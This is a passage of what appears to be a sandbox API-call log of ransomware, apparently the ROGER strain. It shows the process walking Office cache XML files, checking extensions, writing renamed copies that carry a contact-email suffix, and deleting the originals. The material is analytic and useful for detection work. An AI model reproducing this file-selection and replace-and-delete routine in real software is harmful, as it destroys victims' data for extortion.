Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.429] lstrlenW (lpString=".dbf") returned 4 [0038.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.429] lstrlenW (lpString=".1cd") returned 4 [0038.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.429] lstrlenW (lpString=".jpg") returned 4 [0038.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.429] lstrlenW (lpString=".doc") returned 4 [0038.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".docx") returned 5 [0038.429] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.429] lstrlenW (lpString=".pdf") returned 4 [0038.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".xls") returned 4 [0038.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".xlsx") returned 5 [0038.429] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.429] lstrlenW (lpString=".ppt") returned 4 [0038.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.429] lstrlenW (lpString=".zip") returned 4 [0038.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.429] lstrlenW (lpString=".rar") returned 4 [0038.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".bz2") returned 4 [0038.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString=".7z") returned 3 [0038.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.430] lstrlenW (lpString=".dbf") returned 4 [0038.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.430] lstrlenW (lpString=".1cd") returned 4 [0038.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0038.430] lstrlenW (lpString=".jpg") returned 4 [0038.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.430] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.430] lstrlenW (lpString="VisioMUI.xml") returned 12 [0038.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.430] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=9503) returned 1 [0038.430] CloseHandle (hObject=0x364) returned 1 [0038.430] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0038.431] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.431] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.431] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0038.431] GetLastError () returned 0x0 [0038.431] ReadFile (in: hFile=0x364, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x251f, lpOverlapped=0x0) returned 1 [0038.483] WriteFile (in: hFile=0x360, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0038.787] ReadFile (in: hFile=0x364, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.787] WriteFile (in: hFile=0x360, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.787] SetEndOfFile (hFile=0x360) returned 1 [0038.787] CloseHandle (hObject=0x360) returned 1 [0038.788] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.788] SetEndOfFile (hFile=0x364) returned 1 [0038.789] CloseHandle (hObject=0x364) returned 1 [0038.789] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.789] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0038.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.790] lstrlenW (lpString=".doc") returned 4 [0038.790] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.790] lstrlenW (lpString=".docx") returned 5 [0038.790] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.790] lstrlenW (lpString=".pdf") returned 4 [0038.790] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.790] lstrlenW (lpString=".xls") returned 4 [0038.790] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.790] lstrlenW (lpString=".xlsx") returned 5 [0038.790] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.790] lstrlenW (lpString=".ppt") returned 4 [0038.790] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.790] lstrlenW (lpString=".zip") returned 4 [0038.790] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.790] lstrlenW (lpString=".rar") returned 4 [0038.790] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.790] lstrlenW (lpString=".bz2") returned 4 [0038.790] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.790] lstrlenW (lpString=".7z") returned 3 [0038.790] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.790] lstrlenW (lpString=".dbf") returned 4 [0038.790] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.790] lstrlenW (lpString=".1cd") returned 4 [0038.790] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.790] lstrlenW (lpString=".jpg") returned 4 [0038.791] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.791] lstrlenW (lpString=".doc") returned 4 [0038.791] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString=".docx") returned 5 [0038.791] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.791] lstrlenW (lpString=".pdf") returned 4 [0038.791] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString=".xls") returned 4 [0038.791] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString=".xlsx") returned 5 [0038.791] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.791] lstrlenW (lpString=".ppt") returned 4 [0038.791] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.791] lstrlenW (lpString=".zip") returned 4 [0038.791] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.791] lstrlenW (lpString=".rar") returned 4 [0038.791] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString=".bz2") returned 4 [0038.791] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString=".7z") returned 3 [0038.791] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.791] lstrlenW (lpString=".dbf") returned 4 [0038.791] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.791] lstrlenW (lpString=".1cd") returned 4 [0038.791] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0038.791] lstrlenW (lpString=".jpg") returned 4 [0038.791] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.792] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.792] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0038.792] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0039.139] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1452) returned 1 [0039.139] CloseHandle (hObject=0x364) returned 1 [0039.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0039.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0039.176] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.176] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.176] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0039.176] GetLastError () returned 0x0 [0039.176] ReadFile (in: hFile=0x364, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0039.177] WriteFile (in: hFile=0x360, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0039.178] ReadFile (in: hFile=0x364, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.178] WriteFile (in: hFile=0x360, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0039.179] SetEndOfFile (hFile=0x360) returned 1 [0039.179] CloseHandle (hObject=0x360) returned 1 [0039.179] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.179] SetEndOfFile (hFile=0x364) returned 1 [0039.180] CloseHandle (hObject=0x364) returned 1 [0039.180] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.180] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0039.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.181] lstrlenW (lpString=".doc") returned 4 [0039.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.181] lstrlenW (lpString=".docx") returned 5 [0039.181] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.181] lstrlenW (lpString=".pdf") returned 4 [0039.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.181] lstrlenW (lpString=".xls") returned 4 [0039.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.181] lstrlenW (lpString=".xlsx") returned 5 [0039.181] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.181] lstrlenW (lpString=".ppt") returned 4 [0039.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.181] lstrlenW (lpString=".zip") returned 4 [0039.181] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.181] lstrlenW (lpString=".rar") returned 4 [0039.181] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.181] lstrlenW (lpString=".bz2") returned 4 [0039.181] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.181] lstrlenW (lpString=".7z") returned 3 [0039.181] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.181] lstrlenW (lpString=".dbf") returned 4 [0039.181] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.181] lstrlenW (lpString=".1cd") returned 4 [0039.181] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.181] lstrlenW (lpString=".jpg") returned 4 [0039.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.182] lstrlenW (lpString=".doc") returned 4 [0039.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString=".docx") returned 5 [0039.182] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.182] lstrlenW (lpString=".pdf") returned 4 [0039.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString=".xls") returned 4 [0039.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString=".xlsx") returned 5 [0039.182] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.182] lstrlenW (lpString=".ppt") returned 4 [0039.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.182] lstrlenW (lpString=".zip") returned 4 [0039.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.182] lstrlenW (lpString=".rar") returned 4 [0039.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString=".bz2") returned 4 [0039.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString=".7z") returned 3 [0039.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.182] lstrlenW (lpString=".dbf") returned 4 [0039.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.182] lstrlenW (lpString=".1cd") returned 4 [0039.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0039.182] lstrlenW (lpString=".jpg") returned 4 [0039.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.183] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0039.183] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0039.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0039.183] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=5557) returned 1 [0039.183] CloseHandle (hObject=0x364) returned 1 [0039.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0039.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0039.183] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.183] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0039.184] GetLastError () returned 0x0 [0039.184] ReadFile (in: hFile=0x364, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0039.185] WriteFile (in: hFile=0x360, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0039.186] ReadFile (in: hFile=0x364, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.186] WriteFile (in: hFile=0x360, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xee, lpOverlapped=0x0) returned 1 [0039.186] SetEndOfFile (hFile=0x360) returned 1 [0039.186] CloseHandle (hObject=0x360) returned 1 [0039.187] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.187] SetEndOfFile (hFile=0x364) returned 1 [0039.188] CloseHandle (hObject=0x364) returned 1 [0039.188] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.188] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0039.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.189] lstrlenW (lpString=".doc") returned 4 [0039.189] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString=".docx") returned 5 [0039.189] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.189] lstrlenW (lpString=".pdf") returned 4 [0039.189] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString=".xls") returned 4 [0039.189] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString=".xlsx") returned 5 [0039.189] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.189] lstrlenW (lpString=".ppt") returned 4 [0039.189] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.189] lstrlenW (lpString=".zip") returned 4 [0039.189] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.189] lstrlenW 